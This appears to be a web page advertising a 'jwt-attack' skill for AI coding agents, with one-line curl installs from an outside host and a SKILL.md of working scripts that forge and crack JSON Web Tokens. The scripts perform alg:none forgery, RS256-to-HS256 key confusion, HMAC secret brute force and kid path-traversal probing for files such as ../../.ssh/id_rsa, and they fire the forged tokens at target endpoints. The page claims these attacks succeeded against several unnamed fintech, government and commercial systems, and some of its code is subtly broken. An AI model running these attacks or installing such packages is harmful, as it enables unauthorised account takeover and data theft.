jwt-attack – Security skill for AI agents
Decode, forge, brute JWTs when Bearer auth header is seen.
Install the jwt-attack skill with one command
Pick the tool you use, copy the command and paste it in your terminal. The skill lands in that tool's skills folder and is ready in your next session.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/jwt-attack-12e5d.tgz | tar xz -C ~/.claude/skills
Call it in Claude Code: /jwt-attack – then describe the task you want done.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/jwt-attack-12e5d.tgz | tar xz -C ~/.codex/skills
Call it in Codex: $jwt-attack – then describe the task you want done.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/jwt-attack-12e5d.tgz | tar xz -C ~/.hermes/skills
Call it in Hermes Agent: /jwt-attack – then describe the task you want done.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/jwt-attack-12e5d.tgz | tar xz -C ~/.deepcode/skills
Call it in DeepSeek: /jwt-attack – then describe the task you want done.
SKILL.md content
JWT Attack Skill
Complete JWT attack methodology — decode without verification, algorithm confusion (alg:none, RS256→HS256), weak secret brute force (hashcat/john/simple), kid injection, expired token reuse, and hardcoded JWT extraction from JS bundles. Confirmed on enterprise-portal (JWT-based sessions), fintech-processor (315 JWT tokens in Efí bank logs), fitness-chain (3 JWT sessions with 2027 expiry), delivery-platform (hardcoded JWTs in JS bundles), and gov-finance-portal (JWT secret leaked in Vite source).
When to Use
- API uses
Authorization: Bearer eyJ...headers. - JavaScript bundles contain
eyJ...token patterns. - After
js-secrets-extractionfinds JWT tokens. - After
api-noauth-huntneeds token forging for auth bypass. - Cookies contain
jwt=,token=, orsession=with base64-encoded values.
Prerequisites
terminalwith curl, python3.- JWT token to attack (from recon).
- For brute force:
hashcatorjohnfor high-speed cracking (optional).
How to Run
# Decode JWT without verification
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.dozjgNryP4J3jVmNHl0w5N_XgL0n3I9PlFUP0THsR8U" | python3 -c "
import sys, base64, json
parts = sys.stdin.read().strip().split('.')
if len(parts) == 3:
for i, part in enumerate(parts[:2]):
try:
padded = part + '=' * (4 - len(part) % 4)
decoded = base64.urlsafe_b64decode(padded)
print(f'--- Part {i} ---')
print(json.dumps(json.loads(decoded), indent=2))
except: print(f'Part {i}: {part[:50]}... (non-JSON)')
"
# Test alg:none attack
python3 -c "
import base64, json
header = base64.urlsafe_b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).rstrip(b'=').decode()
payload = base64.urlsafe_b64encode(json.dumps({'admin':True,'sub':'admin'}).encode()).rstrip(b'=').decode()
print(f'{header}.{payload}.')
"Quick Reference
| Attack | Prerequisites | Impact | Difficulty |
|--------|-------------|--------|------------|
| alg:none | Server accepts alg: "none" | Full admin access | Easy |
| RS256→HS256 | JWT signed with RS256 | Full admin access | Medium (need public key) |
| Weak HMAC secret | HS256 with weak secret | Full admin access | Medium (need to crack) |
| kid injection | Server trusts kid header | RCE/LFI | Hard |
| Expired token reuse | Server doesn't validate exp | Session persistence | Trivial |
| Hardcoded JWT | JWT found in JS/source | Whatever the JWT grants | Trivial |
Procedure
Phase 1 — JWT Decode & Analysis
JWT="$1"
echo "[*] JWT analysis"
# Split and decode
HEADER=$(echo "$JWT" | cut -d. -f1)
PAYLOAD=$(echo "$JWT" | cut -d. -f2)
SIGNATURE=$(echo "$JWT" | cut -d. -f3)
echo "Header:"
echo "$HEADER" | python3 -c "
import sys, base64, json
padded = sys.stdin.read().strip() + '=' * (4 - len(sys.stdin.read().strip()) % 4)
try:
d = json.loads(base64.urlsafe_b64decode(padded))
print(json.dumps(d, indent=2))
except: print(' (not valid base64 JSON)')
"
echo "Payload:"
echo "$PAYLOAD" | python3 -c "
import sys, base64, json
padded = sys.stdin.read().strip() + '=' * (4 - len(sys.stdin.read().strip()) % 4)
try:
d = json.loads(base64.urlsafe_b64decode(padded))
for k, v in d.items():
if k in ('exp', 'iat', 'nbf'):
from datetime import datetime, timezone
dt = datetime.fromtimestamp(v, tz=timezone.utc)
print(f' {k}: {v} ({dt})')
else:
print(f' {k}: {v}')
except: print(' (not valid base64 JSON)')
"
# Check expiration
EXP=$(echo "$JWT" | cut -d. -f2 | python3 -c "
import sys, base64, json
padded = sys.stdin.read().strip() + '=' * (4 - len(sys.stdin.read().strip()) % 4)
d = json.loads(base64.urlsafe_b64decode(padded))
print(d.get('exp', 'no-expiry'))
" 2>/dev/null)
if [[ "$EXP" == "no-expiry" ]]; then
echo "[!] Token has NO expiration — permanent access"
else
NOW=$(date +%s)
if [[ "$EXP" -gt "$NOW" ]]; then
REMAINING=$((EXP - NOW))
DAYS=$((REMAINING / 86400))
echo "[+] Token valid for ${DAYS} more days (expires $(date -d @$EXP))"
else
echo "[-] Token EXPIRED $(date -d @$EXP)"
fi
fiPhase 2 — alg:none Attack
TARGET="$1"
ENDPOINT="$2" # Authenticated endpoint to test
ORIGINAL_JWT="$3" # Any valid JWT to extract claims from
echo "[*] alg:none attack"
# Extract payload from original JWT
PAYLOAD=$(echo "$ORIGINAL_JWT" | cut -d. -f2)
# Forge token with alg=none
FORGED_HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED_TOKEN="${FORGED_HEADER}.${PAYLOAD}."
echo " Forged token: ${FORGED_TOKEN:0:80}..."
# Test
RESP=$(curl -sk --max-time 10 --connect-timeout 10 "$TARGET$ENDPOINT" \
-H "Authorization: Bearer $FORGED_TOKEN" \
-o /dev/null -w "%{http_code}" 2>/dev/null)
if [[ "$RESP" == "200" ]]; then
echo " [CRITICAL] alg:none ACCEPTED — full admin access!"
else
echo " [-] alg:none rejected (HTTP $RESP)"
fiPhase 3 — RS256→HS256 Key Confusion
TARGET="$1"
ENDPOINT="$2"
PUBLIC_KEY_FILE="$3" # RSA public key (PEM), from /.well-known/jwks.json or source leak
echo "[*] RS256→HS256 key confusion attack"
# Convert public key to symmetric key (the attack: HS256 uses the PUBLIC key as HMAC secret)
JWT_TOOL=$(python3 -c "
import jwt, sys
# Read public key
with open('$PUBLIC_KEY_FILE') as f:
pubkey = f.read()
# Forge admin token
payload = {'admin': True, 'sub': 'admin', 'iat': $(date +%s)}
try:
forged = jwt.encode(payload, pubkey, algorithm='HS256')
print(forged)
except Exception as e:
print(f'Error: {e}', file=sys.stderr)
" 2>/dev/null)
if [[ -n "$JWT_TOOL" ]] && ! echo "$JWT_TOOL" | grep -q "Error"; then
echo " Forged token: ${JWT_TOOL:0:80}..."
RESP=$(curl -sk --max-time 10 --connect-timeout 10 "$TARGET$ENDPOINT" \
-H "Authorization: Bearer $JWT_TOOL" \
-o /dev/null -w "%{http_code}" 2>/dev/null)
[[ "$RESP" == "200" ]] && echo " [CRITICAL] RS256→HS256 confusion ACCEPTED!"
else
echo " [-] Forging failed (check public key format)"
fiPhase 4 — Weak HMAC Secret Brute Force
JWT="$1"
WORDLIST="${2:-/usr/share/wordlists/rockyou.txt}"
echo "[*] Quick HS256 secret brute force"
# Fast Python brute force (top 1000 passwords)
echo "$JWT" | python3 -c "
import sys, hmac, hashlib, base64, json
jwt = sys.stdin.read().strip()
header_b64, payload_b64, sig_b64 = jwt.split('.')
header = json.loads(base64.urlsafe_b64decode(header_b64 + '=='))
if header.get('alg') != 'HS256':
print('[-] Not HS256 — algorithm is:', header.get('alg'))
sys.exit(0)
# Top secrets to try
secrets = ['secret', 'jwt_secret', 'key', 'password', 'admin', 'changeme',
'SuperSecret', 'mysecretkey', '123456', 'jwt', 'token',
'app_secret', 'secret_key', 'auth_token', 'private_key']
for secret in secrets:
sig = base64.urlsafe_b64encode(
hmac.new(secret.encode(), f'{header_b64}.{payload_b64}'.encode(), hashlib.sha256).digest()
).rstrip(b'=').decode()
if sig == sig_b64:
print(f'[CRACKED] Secret: {secret}')
break
else:
print('[-] Not in top-15 list')
# Also try from wordlist (first 5000 lines)
try:
with open('$WORDLIST', 'rb') as f:
for i, line in enumerate(f):
if i >= 5000: break
secret = line.strip()
sig = base64.urlsafe_b64encode(
hmac.new(secret, f'{header_b64}.{payload_b64}'.encode(), hashlib.sha256).digest()
).rstrip(b'=').decode()
if sig == sig_b64:
print(f'[CRACKED from wordlist] Secret: {secret.decode()}')
break
else:
print('[-] Not in first 5000 wordlist entries')
except FileNotFoundError:
print('[-] Wordlist not found at $WORDLIST')
"Phase 5 — Kid Injection (path traversal / SQLi)
TARGET="$1"
ENDPOINT="$2"
echo "[*] kid header injection test"
# Test path traversal in kid header
for KID in "../../../../etc/passwd" "../../.ssh/id_rsa" "file:///etc/passwd"; do
FORGED_HEADER=$(echo -n "{\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"$KID\"}" | base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED_TOKEN="${FORGED_HEADER}.$(echo -n '{"test":1}' | base64 -w0 | tr '+/' '-_' | tr -d '=').dGVzdA"
RESP=$(curl -sk --max-time 5 --connect-timeout 5 "$TARGET$ENDPOINT" \
-H "Authorization: Bearer $FORGED_TOKEN" \
-o /dev/null -w "%{http_code}" 2>/dev/null)
[[ "$RESP" == "500" ]] && echo " [POTENTIAL] kid=$KID → HTTP $RESP (server error — may indicate processing)"
sleep 0.3
donePitfalls
- alg:none is rare. Most JWT libraries reject it by default since 2017. But legacy apps exist.
- RS256→HS256 requires the PUBLIC key. This is usually available at
/.well-known/jwks.jsonor in JS bundles. - Brute force is slow in Python. Use
hashcat -m 16500for HS256 orjohnfor production-speed cracking. - Laravel Passport uses
jtivalidation. Even if you forge a valid JWT, Passport checks if
… (full content is in the download package)
Related skills
- helm-chart-builder – Helm chart development agent skill and plugin for Claude Code, Codex, Gemini CLI…
- meme-coin-audit – Meme coin and token security audit — rug pull detection (honeypot, hidden mint, fee…
- changelog-entry – Generate a properly formatted CHANGELOG.md entry in Keep a Changelog format from a…
- mid-engagement-ir-detection – Methodology for detecting client SOC patches, attacker activity, and security-state…
- oss-forensics – GitHub supply-chain forensics: recovery, IOCs, reporting.
- cis-benchmarks – Audit and remediate CIS benchmark violations.
- incident-response – Use when a security incident has been detected or declared and needs classification…
- information-security-manager-iso27001 – ISO 27001 ISMS implementation and cybersecurity governance for HealthTech and MedTech…